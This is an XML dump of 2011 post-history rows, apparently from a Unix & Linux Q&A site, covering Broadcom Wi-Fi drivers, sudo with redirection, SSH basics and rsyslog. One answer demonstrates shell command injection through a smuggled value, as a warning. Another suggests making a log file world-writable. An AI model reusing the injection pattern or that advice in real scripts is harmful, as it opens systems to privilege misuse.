  <row Id="20643" PostHistoryTypeId="5" PostId="8718" RevisionGUID="ab8799da-7e25-467d-bb80-16217adb5122" CreationDate="2011-03-07T01:33:09.077" UserId="3892" Comment="added 2943 characters in body" Text="I have an acer aspire 7551 laptop running windows 7 and I've successfully used wubi to also install ubuntu (the latest release version).&#xD;&#xA;&#xD;&#xA;Wireless works fine on windows 7, but neither wireless nor ethernet works on ubuntu. In particular, the wireless icon shows up at the top-right (but no available connections show up when I click the icon).&#xD;&#xA;&#xD;&#xA;When I connect my ethernet cable (which works fine when I plug it into my PC) to my laptop when it's running ubuntu and click the wireless icon, auto-etho shows up as an option but when I click it, it works for a few seconds and then disconnects. (Note - ethernet also doesn't work in windows 7 even though all the latest drivers are installed)&#xD;&#xA;&#xD;&#xA;How can I get wireless and ethernet to work under ubuntu?&#xD;&#xA;&#xD;&#xA;**Additional Info**&#xD;&#xA;&#xD;&#xA;Ubuntu version: &quot;Ubuntu 10.0 - the Maverick Meerkat&quot;&#xD;&#xA;&#xD;&#xA;lspci output:&#xD;&#xA;&#xD;&#xA;    00:00.0 Host bridge: Advanced Micro Devices [AMD] RS780 Host Bridge Alternate&#xD;&#xA;    00:01.0 PCI bridge: Acer Incorporated [ALI] Device 9602&#xD;&#xA;    00:04.0 PCI bridge: Advanced Micro Devices [AMD] RS780 PCI to PCI bridge (PCIE port 0)&#xD;&#xA;    00:05.0 PCI bridge: Advanced Micro Devices [AMD] RS780 PCI to PCI bridge (PCIE port 1)&#xD;&#xA;    00:11.0 SATA controller: ATI Technologies Inc SB700/SB800 SATA Controller [AHCI mode]&#xD;&#xA;    00:12.0 USB Controller: ATI Technologies Inc SB700/SB800 USB OHCI0 Controller&#xD;&#xA;    00:12.2 USB Controller: ATI Technologies Inc SB700/SB800 USB EHCI Controller&#xD;&#xA;    00:13.0 USB Controller: ATI Technologies Inc SB700/SB800 USB OHCI0 Controller&#xD;&#xA;    00:13.2 USB Controller: ATI Technologies Inc SB700/SB800 USB EHCI Controller&#xD;&#xA;    00:14.0 SMBus: ATI Technologies Inc SBx00 SMBus Controller (rev 41)&#xD;&#xA;    00:14.1 IDE interface: ATI Technologies Inc SB700/SB800 IDE Controller (rev 40)&#xD;&#xA;    00:14.2 Audio device: ATI Technologies Inc SBx00 Azalia (Intel HDA) (rev 40)&#xD;&#xA;    00:14.3 ISA bridge: ATI Technologies Inc SB700/SB800 LPC host controller (rev 40)&#xD;&#xA;    00:14.4 PCI bridge: ATI Technologies Inc SBx00 PCI to PCI Bridge (rev 40)&#xD;&#xA;    00:18.0 Host bridge: Advanced Micro Devices [AMD] Family 10h Processor HyperTransport Configuration&#xD;&#xA;    00:18.1 Host bridge: Advanced Micro Devices [AMD] Family 10h Processor Address Map&#xD;&#xA;    00:18.2 Host bridge: Advanced Micro Devices [AMD] Family 10h Processor DRAM Controller&#xD;&#xA;    00:18.3 Host bridge: Advanced Micro Devices [AMD] Family 10h Processor Miscellaneous Control&#xD;&#xA;    00:18.4 Host bridge: Advanced Micro Devices [AMD] Family 10h Processor Link Control&#xD;&#xA;    01:05.0 VGA compatible controller: ATI Technologies Inc M880G [Mobility Radeon HD 4200]&#xD;&#xA;    01:05.1 Audio device: ATI Technologies Inc RS880 Audio Device [Radeon HD 4200]&#xD;&#xA;    03:00.0 Ethernet controller: Broadcom Corporation NetLink BCM57780 Gigabit Ethernet PCIe (rev 01)&#xD;&#xA;    06:00.0 Network controller: Broadcom Corporation BCM43225 802.11b/g/n (rev 01)&#xD;&#xA;&#xD;&#xA;ifconfig -a output:&#xD;&#xA;&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 20:6a:8a:1c:70:0e  &#xD;&#xA;              UP BROADCAST MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xD;&#xA;              Interrupt:16 &#xD;&#xA;    &#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:76 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:76 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:5840 (5.8 KB)  TX bytes:5840 (5.8 KB)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20644" PostHistoryTypeId="6" PostId="8720" RevisionGUID="da43037c-f8ef-4f78-9084-89728eb0d65f" CreationDate="2011-03-07T01:34:01.867" UserId="885" Comment="edited tags" Text="éxorgàékeyboardàéunicodeà" />
  <row Id="20645" PostHistoryTypeId="25" PostId="8707" RevisionGUID="b0d3def6-e355-444f-8a5f-acc0089549e4" CreationDate="2011-03-07T02:23:39.217" Comment="http://twitter.com/#!/StackUnix/status/44583961019682817" />
  <row Id="20646" PostHistoryTypeId="2" PostId="8724" RevisionGUID="769bb9c5-b973-4dc1-8a5a-1312bbae19e3" CreationDate="2011-03-07T02:49:41.823" UserId="732" Text="A cheap and dirty way to check the local clock vs another machine is this shell command sequence:&#xD;&#xA;&#xD;&#xA;    date; telnet somehost 13; date&#xD;&#xA;&#xD;&#xA;&quot;somehost&quot; has to run the RFC 867 &quot;daytime&quot; protocol, and that's not so common anymore.  inetd can provide &quot;daytime&quot; by itself, and some hosts still have &quot;daytime&quot; enabled.&#xD;&#xA;&#xD;&#xA;You can at get an independent check on the local clock, no use of NTP necessary." />
  <row Id="20647" PostHistoryTypeId="2" PostId="8725" RevisionGUID="5f77664e-1cd8-4de0-bc57-ecdd8c577cf3" CreationDate="2011-03-07T03:22:00.047" UserId="5449" Text="Hello, there!&#xD;&#xA;&#xD;&#xA;I was a Debian user, but for some reason, after I installed Arch Linux, my monitor started to blink. I first thought that this was X-related, but it happens even on text mode (but not on GRUB). Any idea on what could be happening and how to fix it?&#xD;&#xA;&#xD;&#xA;I installed very few programs: vim, xorg, xf86-video-ati, xorg, fluxbox, vim, sudo and chromium. I installed xf86-video-ati based on the output of lspci:&#xD;&#xA;&#xD;&#xA;    [tata@spock ~]$ lspci | grep VGA&#xD;&#xA;    01:05.0 VGA compatible controller: ATI Technologies Inc RS690 [Radeon X1200 Series]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="20648" PostHistoryTypeId="1" PostId="8725" RevisionGUID="5f77664e-1cd8-4de0-bc57-ecdd8c577cf3" CreationDate="2011-03-07T03:22:00.047" UserId="5449" Text="Monitor Blinking" />
  <row Id="20649" PostHistoryTypeId="3" PostId="8725" RevisionGUID="5f77664e-1cd8-4de0-bc57-ecdd8c577cf3" CreationDate="2011-03-07T03:22:00.047" UserId="5449" Text="éarchölinuxàédriversàévideoà" />
  <row Id="20650" PostHistoryTypeId="5" PostId="8725" RevisionGUID="25be8485-141a-43bb-9e41-330c6fee12c7" CreationDate="2011-03-07T03:45:55.707" UserId="5449" Comment="deleted 31 characters in body; added 16 characters in body" Text="Hello, there!&#xD;&#xA;&#xD;&#xA;I was a Debian user, but for some reason, after I installed Arch Linux, my monitor started to blink. It happens even on text terminals (C-F1 etc), but only after gdm starts. Any idea on what could be happening and how to fix it?&#xD;&#xA;&#xD;&#xA;I installed very few programs: vim, xorg, xf86-video-ati, gdm, xorg, fluxbox, vim, sudo and chromium. I installed xf86-video-ati based on the output of lspci:&#xD;&#xA;&#xD;&#xA;    [tata@spock ~]$ lspci | grep VGA&#xD;&#xA;    01:05.0 VGA compatible controller: ATI Technologies Inc RS690 [Radeon X1200 Series]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="20651" PostHistoryTypeId="5" PostId="8725" RevisionGUID="bfc6ef64-a6a5-4f31-9943-abedb09297d9" CreationDate="2011-03-07T04:16:20.963" UserId="73" Comment="deleted 31 characters in body" Text="I was a Debian user, but for some reason, after I installed Arch Linux, my monitor started to blink. It happens even on text terminals (C-F1 etc), but only after gdm starts. Any idea on what could be happening and how to fix it?&#xD;&#xA;&#xD;&#xA;I installed very few programs: vim, xorg, xf86-video-ati, gdm, xorg, fluxbox, vim, sudo and chromium. I installed xf86-video-ati based on the output of lspci:&#xD;&#xA;&#xD;&#xA;    [tata@spock ~]$ lspci | grep VGA&#xD;&#xA;    01:05.0 VGA compatible controller: ATI Technologies Inc RS690 [Radeon X1200 Series]&#xD;&#xA;" />
  <row Id="20656" PostHistoryTypeId="25" PostId="8717" RevisionGUID="3139770d-6f49-48e7-83c0-acad459323e9" CreationDate="2011-03-07T05:23:39.303" Comment="http://twitter.com/#!/StackUnix/status/44629260287225856" />
  <row Id="20657" PostHistoryTypeId="2" PostId="8727" RevisionGUID="967c84f6-070c-444b-877c-4e6cfc8358fc" CreationDate="2011-03-07T05:39:04.310" UserId="5451" Text="i have written a function which acts in a similar way to `tee` but also pre-pends a datestamp. everything works fine except when i want to output to a file which is only root writeable (in my case a logfile within `/var/log`). i've simplified the following code snippet to just include the bits which are not working:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #script ~/test_logger.sh&#xD;&#xA;    logfile=/var/log/test.log&#xD;&#xA;    logger()&#xD;&#xA;    {&#xD;&#xA;        while read data&#xD;&#xA;        do&#xD;&#xA;            echo $data &gt;&gt; $logfile&#xD;&#xA;        done&#xD;&#xA;        return 0&#xD;&#xA;    }&#xD;&#xA;    sudo ls ~ | logger&#xD;&#xA;&#xD;&#xA;it works fine if i run the whole script like so `sudo ~/test_logger.sh` but i can't always do this since i want to use the logger function in files like `~/.bash_logout` which are run automatically. i've tried putting `sudo` in front of the echo in the while loop but this does not work. any ideas?" />
  <row Id="20658" PostHistoryTypeId="1" PostId="8727" RevisionGUID="967c84f6-070c-444b-877c-4e6cfc8358fc" CreationDate="2011-03-07T05:39:04.310" UserId="5451" Text="how can i use sudo within a function?" />
  <row Id="20659" PostHistoryTypeId="3" PostId="8727" RevisionGUID="967c84f6-070c-444b-877c-4e6cfc8358fc" CreationDate="2011-03-07T05:39:04.310" UserId="5451" Text="ébashàésudoàéfunctionà" />
  <row Id="20660" PostHistoryTypeId="2" PostId="8728" RevisionGUID="29dd9edd-2992-4f34-a3ed-9524c1a2b5ef" CreationDate="2011-03-07T05:48:49.017" UserId="5453" Text="`sudo` does not work in the way you might think when you use redirection or pipe operators. The stream change is not executed with `sudo` permissions. This is why &#xD;&#xA;&#xD;&#xA;    sudo echo foo &gt;&gt; bar&#xD;&#xA;will not work if bar is only root-writable.&#xD;&#xA;&#xD;&#xA;When you run the script under `sudo`, everything in the script gets superuser permissions so it works correctly in that circumstance.&#xD;&#xA;&#xD;&#xA;A workaround is to do this to make sure the writing command is run under `sudo`:&#xD;&#xA;&#xD;&#xA;    sudo echo foo | sudo tee bar &gt; /dev/null&#xD;&#xA;&#xD;&#xA;Bear in mind, however, that this does not append to the file. It overwrites the file." />
  <row Id="20661" PostHistoryTypeId="2" PostId="8729" RevisionGUID="d213862d-097e-45fe-9664-22128361ee96" CreationDate="2011-03-07T05:57:55.657" UserId="5261" Text="Try out [this guide from the debian forum][1].  &#xD;&#xA;Looks like the driver from the manufacturer [held low quality][2] and was therefor thrown out at some point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.debian.net/viewtopic.php?f=16&amp;t=40831&#xD;&#xA;  [2]: http://ubuntuforums.org/showthread.php?t=1052426" />
  <row Id="20662" PostHistoryTypeId="2" PostId="8730" RevisionGUID="090541dc-bb53-47fb-9807-b0cb3109f7d1" CreationDate="2011-03-07T06:19:45.340" UserId="5454" Text="it's generally bad practice to put `sudo` in a script.  A better choice would be to call the script with `sudo` from `~/.bash_logout` or wherever else you want to use it, if you must, or better still just make `/var/log/test.log` world-writable." />
  <row Id="20663" PostHistoryTypeId="2" PostId="8731" RevisionGUID="f7c4da1b-4cf2-4fba-a855-12c7fadcfcc5" CreationDate="2011-03-07T06:47:57.187" UserId="5323" Text="as you've  found, `sudo command &gt;out` doesn't work because 'command' is run by sudo, but '&gt;out' is a function of the shell, not 'command'.  So, you need to escalate the shell itself:&#xD;&#xA;&#xD;&#xA;    sudo sh -c &quot;echo $data &gt;&gt;$logfile&quot;" />
  <row Id="20664" PostHistoryTypeId="2" PostId="8732" RevisionGUID="3aa62ddd-9073-4f1d-938b-abd8813f64db" CreationDate="2011-03-07T06:50:46.940" UserId="5454" Text="I have the same network hardware in my laptop running Ubuntu 10.10 Maverick.&#xD;&#xA;&#xD;&#xA;For the wireless adapter, you need the binary Broadcom STA proprietary drivers.  Ubuntu should prompt you to install them when you first start, but if you're lacking a network connection, that might be why it's not working.  Fortunately, the stuff you need is on the 10.10 installation disk.&#xD;&#xA;&#xD;&#xA;Here are the simplest gui steps:&#xD;&#xA;&#xD;&#xA;1) insert the disk, and navigate to it in the file browser (nautilus)&#xD;&#xA;&#xD;&#xA;2) navigate into the folder called `pool`, and then go into `main`, and then `d`.  Install `dkms_2.1.1.2-3ubuntu1_all.deb` from the `dmks` folder, by double-clicking on it.&#xD;&#xA;&#xD;&#xA;3) install `/pool/main/p/patch/patch_2.6-2ubuntu1_amd64.deb` by the same process&#xD;&#xA;&#xD;&#xA;4) install `/pool/main/f/fakeroot/fakeroot_1.14.4-1ubuntu1_amd64.deb`&#xD;&#xA;&#xD;&#xA;5) finally, install `/pool/restricted/b/bcmwl/bcmwl-kernel-source_5.60.48.36+bdcom-0ubuntu5_amd64.deb`&#xD;&#xA;&#xD;&#xA;if you restart, you should (fingers crossed!) be okay now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The wired ethernet not working is odd - never seen that.  If it doesn't work under Windows either, I'd suggest a hardware problem is likely there." />
  <row Id="20665" PostHistoryTypeId="5" PostId="8731" RevisionGUID="75404bf9-6b20-4238-9c95-614992e430b3" CreationDate="2011-03-07T06:55:05.137" UserId="5323" Comment="why this is a bad thing to do" Text="as you've  found, `sudo command &gt;out` doesn't work because 'command' is run by sudo, but '&gt;out' is a function of the shell, not 'command'.  So, you need to escalate the shell itself:&#xD;&#xA;&#xD;&#xA;    sudo sh -c &quot;echo $data &gt;&gt;$logfile&quot;&#xD;&#xA;&#xD;&#xA;note that you want to be really, really sure what's in $data doing this:&#xD;&#xA;&#xD;&#xA;    ~$ export data='good; touch /tmp/reallybad'&#xD;&#xA;    ~$ echo $data&#xD;&#xA;    good; touch /tmp/reallybad&#xD;&#xA;    ~$ sudo sh -c &quot;echo $data&gt;&gt;/tmp/happy&quot;&#xD;&#xA;    good&#xD;&#xA;    ~$ ls /tmp/happy /tmp/reallybad&#xD;&#xA;    /tmp/happy  /tmp/reallybad&#xD;&#xA;&#xD;&#xA;hence simon's warning.&#xD;&#xA;" />
  <row Id="20666" PostHistoryTypeId="5" PostId="8732" RevisionGUID="ca0813be-685a-45fd-82ec-8eb93eb4d8cc" CreationDate="2011-03-07T06:57:23.513" UserId="5454" Comment="added 163 characters in body" Text="I have the same network hardware in my laptop running Ubuntu 10.10 Maverick.&#xD;&#xA;&#xD;&#xA;For the wireless adapter, you need the binary Broadcom STA proprietary drivers.  Ubuntu should prompt you to install them when you first start, but if you're lacking a network connection, that might be why it's not working.  Fortunately, the stuff you need is on the 10.10 installation disk.&#xD;&#xA;&#xD;&#xA;Here are the simplest gui steps:&#xD;&#xA;&#xD;&#xA;1) insert the disk, and navigate to it in the file browser (nautilus)&#xD;&#xA;&#xD;&#xA;2) navigate into the folder called `pool`, and then go into `main`, and then `d`.  Install `dkms_2.1.1.2-3ubuntu1_all.deb` from the `dmks` folder, by double-clicking on it.&#xD;&#xA;&#xD;&#xA;3) install `/pool/main/p/patch/patch_2.6-2ubuntu1_amd64.deb` by the same process&#xD;&#xA;&#xD;&#xA;4) install `/pool/main/f/fakeroot/fakeroot_1.14.4-1ubuntu1_amd64.deb`&#xD;&#xA;&#xD;&#xA;5) finally, install `/pool/restricted/b/bcmwl/bcmwl-kernel-source_5.60.48.36+bdcom-0ubuntu5_amd64.deb`&#xD;&#xA;&#xD;&#xA;if you restart, you should (fingers crossed!) be okay now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The wired ethernet not working is odd - never seen that.  If it doesn't work under Windows either, I'd suggest a hardware problem is likely there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit: the deb filenames above are for the 64bit version.  For the i386 ones, just replace `_amd64` with `_i386`.  You'll find the files you're looking for :)" />
  <row Id="20667" PostHistoryTypeId="2" PostId="8733" RevisionGUID="c439e15a-d876-424a-915c-8a31498d64e1" CreationDate="2011-03-07T07:06:53.020" UserId="5451" Text="have you tried hooking your pc up to the router with an ethernet cable? at lease this way you can diagnose if the problem is with the wireless drivers/hardware or if it is at a higher level." />
  <row Id="20668" PostHistoryTypeId="2" PostId="8734" RevisionGUID="b57b51b3-7816-4693-9c81-436d3b1a032f" CreationDate="2011-03-07T07:54:01.073" UserId="5456" Text="Well if you take a look at the man page of sudo you can see examples of how to use it in the scripts... the -c option lets execute a command." />
  <row Id="20669" PostHistoryTypeId="2" PostId="8735" RevisionGUID="f1989560-da2e-4036-879b-e627aff8cf59" CreationDate="2011-03-07T07:57:32.393" UserId="3947" Text="Put it simple:&#xD;&#xA;&#xD;&#xA;    SFTP = SSH + FTP&#xD;&#xA;    SCP  = SSH + cp&#xD;&#xA;    FISH = SSH + dd&#xD;&#xA;" />
  <row Id="20670" PostHistoryTypeId="5" PostId="8686" RevisionGUID="d578e6b5-72d4-44fc-a40e-6ccb9babd570" CreationDate="2011-03-07T08:17:45.847" UserId="5415" Comment="included a bit more clear description of what can find in the link." Text="For more information on how to set JAVA_HOME in Mac OSX, there is an existing post  http://stackoverflow.com/questions/603785/environment-variables-in-mac-os-x " />
  <row Id="20671" PostHistoryTypeId="25" PostId="8727" RevisionGUID="9fae1794-1505-4137-a154-023048c56ccb" CreationDate="2011-03-07T08:23:39.367" Comment="http://twitter.com/#!/StackUnix/status/44674558195793920" />
  <row Id="20672" PostHistoryTypeId="2" PostId="8736" RevisionGUID="d2eb16aa-8ae5-4603-89b1-41624990014f" CreationDate="2011-03-07T08:23:51.580" UserId="4950" Text="What is SSH - the protocol?&lt;br/&gt;&#xD;&#xA;What is `ssh` - the unix utility and how does it work?&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;How is SSH protocol related to SFTP?&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;What is `sshd`?&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Does the command `su` use `ssh` or `sshd`? " />
  <row Id="20673" PostHistoryTypeId="1" PostId="8736" RevisionGUID="d2eb16aa-8ae5-4603-89b1-41624990014f" CreationDate="2011-03-07T08:23:51.580" UserId="4950" Text="What is SSH - the protocol and what is ssh - the utility?" />
  <row Id="20674" PostHistoryTypeId="3" PostId="8736" RevisionGUID="d2eb16aa-8ae5-4603-89b1-41624990014f" CreationDate="2011-03-07T08:23:51.580" UserId="4950" Text="ésshàésolarisàésuàésftpà" />
  <row Id="20675" PostHistoryTypeId="5" PostId="8677" RevisionGUID="f5524d57-92f0-4c0d-8122-8d7e27d1e014" CreationDate="2011-03-07T08:28:13.820" UserId="912" Comment="deleted 4 characters in body" Text="I have often started to think about this but never found a good answer. Why are these two Unix directories not `/user` and `/temp` instead?&#xD;&#xA;&#xD;&#xA;All the other directories under `root` seem to be exactly what one would guess them to be, but these two seem odd, I would have always guessed them as `user` and `temp`.&#xD;&#xA;&#xD;&#xA;Is there some historical reason for the spellings?" />
  <row Id="20676" PostHistoryTypeId="2" PostId="8737" RevisionGUID="2edab4b5-05c4-40ca-8423-2b26a286132e" CreationDate="2011-03-07T08:35:27.277" UserId="4402" Text="I have setup rsyslog to write messages from local0.* to a seperate logfile, and then discard the messages. For some reason, the logs are going to *both* /var/log/syslog, and the new logfile. &#xD;&#xA;&#xD;&#xA;I have put the config in rsyslog.d/30-local0.conf, which as far as i know, should come before the 50-default.conf, and so the message should be discarded before hitting the standard rules and being written to syslog?" />
  <row Id="20677" PostHistoryTypeId="1" PostId="8737" RevisionGUID="2edab4b5-05c4-40ca-8423-2b26a286132e" CreationDate="2011-03-07T08:35:27.277" UserId="4402" Text="rsyslog is not discarding message as it should" />
  <row Id="20678" PostHistoryTypeId="3" PostId="8737" RevisionGUID="2edab4b5-05c4-40ca-8423-2b26a286132e" CreationDate="2011-03-07T08:35:27.277" UserId="4402" Text="élogsàésyslogàérsyslogà" />
  <row Id="20679" PostHistoryTypeId="2" PostId="8738" RevisionGUID="c0c56589-a8fc-4397-a55c-1ac2acbe8f4d" CreationDate="2011-03-07T08:55:11.757" UserId="5325" Text="As mentioned by others, `export` only applies to the current shell and programs started from it after it is used.  (Note that `open` relays its command to the Finder, so programs started that way don't get environment variables from the shell it's run in.)&#xD;&#xA;&#xD;&#xA;One way to set environment variables persistently is to add to `~/.bash_profile` or `~/.bashrc` (the former is preferred, as otherwise subshells will override the `export` if you change it for some reason, say because you need a different JRE for some particular Java program).  Another is to set them in `~/.MacOSX/environment.plist`; this is the only way to set environment variables so that the Finder will see them.&#xD;&#xA;&#xD;&#xA;I prefer to use the [Environment Variable Preference Pane](http://www.apple.com/downloads/macosx/system_disk_utilities/environmentvariablepreferencepane.html &quot;Apple - Downloads - System/Disk Utilities - Environment Variable Preference Pane 1.3&quot;) to manage `~/.MacOSX/environment.plist`.  You can also edit it by hand (watch out; it's XML).  You will have to log out or reboot to get Finder to reread it after changing it." />
  <row Id="20680" PostHistoryTypeId="2" PostId="8739" RevisionGUID="044178e6-14e8-4217-81d3-f6a3f8da2ed8" CreationDate="2011-03-07T09:11:56.573" UserId="1660" Text="Take a look at the [OpenSSH project][1]. It has all the info you're looking for.&#xD;&#xA;&#xD;&#xA;Briefly, the **SSH protocol** permits the *secure* (encrypted) connection between two hosts.&#xD;&#xA;The `ssh` utility is a client program to log into a remote system using the SSH protocol, and it has a lot of other uses, too, like [reverse] tunneling/port forwarding/...&#xD;&#xA;&#xD;&#xA;`sshd` it's the *server* software. It provides a *daemon* which responds to incoming SSH requests.&#xD;&#xA;&#xD;&#xA;`su` has nothing to do with ssh. It's used to change the active user (the most frequent use it's to become `root`).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openssh.com/" />
  <row Id="20681" PostHistoryTypeId="2" PostId="8740" RevisionGUID="e1d63a5c-4556-451a-8f19-01ff489ab767" CreationDate="2011-03-07T09:13:21.367" UserId="3886" Text="SSH (stands for &quot;Secure SHell&quot;) is a network protocol which described in [RFC4251][1]. `ssh` utility is SSH client that connects to SSH daemon and presents &quot;Secure SHell&quot; to user. SFTP is FTP-like protocol which works over SSH connection.&#xD;&#xA;&#xD;&#xA;`su` command does not use `ssh` or `sshd` in any way, it just allows you to run processes with different privileges.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc4251" />
  <row Id="20682" PostHistoryTypeId="2" PostId="8741" RevisionGUID="18a9f015-11c4-4053-9910-ae1a91614546" CreationDate="2011-03-07T09:18:51.247" UserId="591" Text="[**SSH**][1] is a protocol for secure communication over an insecure network. It allows for end to end encryption of all communication such that it cannot (feasibly) be intercepted and decrytped. &#xD;&#xA;&#xD;&#xA;**[ssh][2]** the utility is an implementation of the protocol. **[SFTP][3]** is a subsystem of ssh that uses the protocol for secure password and file transfer. &#xD;&#xA;&#xD;&#xA;**[su][4]** does not use the ssh protocol.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.snailbook.com/protocols.html&#xD;&#xA;  [2]: http://linux.die.net/man/1/ssh&#xD;&#xA;  [3]: http://linux.die.net/man/1/sftp&#xD;&#xA;  [4]: http://linux.die.net/man/1/su" />
  <row Id="20683" PostHistoryTypeId="2" PostId="8742" RevisionGUID="96829fbe-b360-46df-b089-cd10b9c6afa6" CreationDate="2011-03-07T09:20:15.103" UserId="5325" Text="The SSH protocol is defined by what the `ssh` and `sshd` programs accept.  (There is a standard defined for it, but it's an after-the-fact thing and is mostly ignored when one of the implementations adds new features.)  Since there are multiple implementations of those (OpenSSH, F-Secure, PuTTY, etc.) occasionally you'll find that one of them doesn't support the same protocol as the others.  Basically, it defines authentication negotiation and creation of a multiplexed data stream.  This stream can carry one or more (with OpenSSH and `ControlMaster`) terminal sessions and zero or more tunnels (forwarding socket connections from either local or remote to the other side; X11 forwarding is a special case of remote forwarding).  It also defines &quot;subsystems&quot; that can be used over the stream; terminal sessions are the basic subsystem but others can be defined.  `sftp` is one of these.&#xD;&#xA;&#xD;&#xA;`ssh` the utility uses the SSH protocol to talk to `sshd` on another machine.  How it works depends on what version it is (see above), but the gist of it is that it attempts to figure out which version of the SSH protocol to use, then it and `sshd` negotiate supported authentication methods, then it tries to authenticate you using one of those methods (asking for remote user password/private key paasword/S-Key phrase as necessary), and on successful authentication sets up a multiplexed stream with the `sshd`.&#xD;&#xA;&#xD;&#xA;`sshd`, as said above, implements the server side of the SSH protocol.&#xD;&#xA;&#xD;&#xA;`sftp` is a (at present, the only standard) subsystem defined in most `sshd` implementations.  When the SFTP subsystem is requested, `sshd` connects `sftp-server` to the subsystem session; the `sftp` program then talks to it, similarly to `ftp` but with file transfers multiplexed on the stream instead of using separate connections as with `ftp`.&#xD;&#xA;&#xD;&#xA;`su` has nothing to do with `ssh`, `sshd`, or `sftp`, except insofar as there may be PAM modules to arrange for the multiplexed stream to be available within the shell or program run by it." />
  <row Id="20684" PostHistoryTypeId="25" PostId="8736" RevisionGUID="da3a065e-e60e-486b-bde2-873ec251ece8" CreationDate="2011-03-07T11:23:39.687" Comment="http://twitter.com/#!/StackUnix/status/44719857199091713" />
  <row Id="20685" PostHistoryTypeId="2" PostId="8743" RevisionGUID="9a2dacd9-c223-4b70-b8af-19974dfcbd9c" CreationDate="2011-03-07T11:33:15.940" UserId="4667" Text="You might simplify matters by just doing pattern matching on the filename rather than extracting the extension twice:&#xD;&#xA;&#xD;&#xA;    case &quot;$filename&quot; in&#xD;&#xA;        *.tar.bz2) bunzip_then_untar ;;&#xD;&#xA;        *.bz2)     bunzip_only ;;&#xD;&#xA;        *.tar.gz)  untar_with -z ;;&#xD;&#xA;        *.tgz)     untar_with -z ;;&#xD;&#xA;        *.gz)      gunzip_only ;;&#xD;&#xA;        *.zip)     unzip ;;&#xD;&#xA;        *.7z)      do something ;;&#xD;&#xA;        *)         do nothing ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20687" PostHistoryTypeId="2" PostId="8745" RevisionGUID="2caeea15-ec28-40e8-afa3-d44e114b8606" CreationDate="2011-03-07T11:52:45.797" UserId="688" Text="I'm running Debian Squeeze and removed Metacity in favor of Mutter. How do I avoid having to run `mutter --replace` each time I start Xorg (GNOME)?" />
  <row Id="20688" PostHistoryTypeId="1" PostId="8745" RevisionGUID="2caeea15-ec28-40e8-afa3-d44e114b8606" CreationDate="2011-03-07T11:52:45.797" UserId="688" Text="How to make Mutter default window manager" />
  <row Id="20689" PostHistoryTypeId="3" PostId="8745" RevisionGUID="2caeea15-ec28-40e8-afa3-d44e114b8606" CreationDate="2011-03-07T11:52:45.797" UserId="688" Text="édebianàéwindowömanagerà" />
  <row Id="20690" PostHistoryTypeId="2" PostId="8746" RevisionGUID="cddf6545-4fc9-4af9-8803-5366033e5b14" CreationDate="2011-03-07T12:28:45.393" UserId="3625" Text="Press Alt + F2 and enter `gconf-editor`. Navigate the tree menu to desktop &gt; gnome &gt; session &gt; required-components. Now, replace the `windowmanager` key with the window manager of your choice. Just replace gnome-wm (or metacity) with mutter.&#xD;&#xA;" />
  <row Id="20691" PostHistoryTypeId="2" PostId="8747" RevisionGUID="4a477a72-e5ee-4eae-8f48-22fae8022b7a" CreationDate="2011-03-07T12:49:38.957" UserId="5464" Text="I am looking for understanding EXT3 filesystem source code. I think I need a little pre-digestion to fully understand the code. Can anyone please suggest some material(blog etc.) where I can get some basic understanding of the source code." />
  <row Id="20692" PostHistoryTypeId="1" PostId="8747" RevisionGUID="4a477a72-e5ee-4eae-8f48-22fae8022b7a" CreationDate="2011-03-07T12:49:38.957" UserId="5464" Text="EXT3 file system pre digest material" />
  <row Id="20693" PostHistoryTypeId="3" PostId="8747" RevisionGUID="4a477a72-e5ee-4eae-8f48-22fae8022b7a" CreationDate="2011-03-07T12:49:38.957" UserId="5464" Text="élinuxàéfilesystemsàéext3à" />
  <row Id="20694" PostHistoryTypeId="5" PostId="8746" RevisionGUID="fbcda8cf-8fbc-4ecd-af9b-56bc280477be" CreationDate="2011-03-07T12:53:48.390" UserId="3625" Comment="added 107 characters in body" Text="Press Alt + F2 and enter `gconf-editor`. Navigate the tree menu to desktop &gt; gnome &gt; session &gt; required-components. Now, replace the `windowmanager` key with the window manager of your choice. Just replace gnome-wm (or metacity) with mutter.&#xD;&#xA;&#xD;&#xA;Other possible solution:&#xD;&#xA;You could add `mutter --replace` to System &gt; Preferences &gt; Startup Applications" />
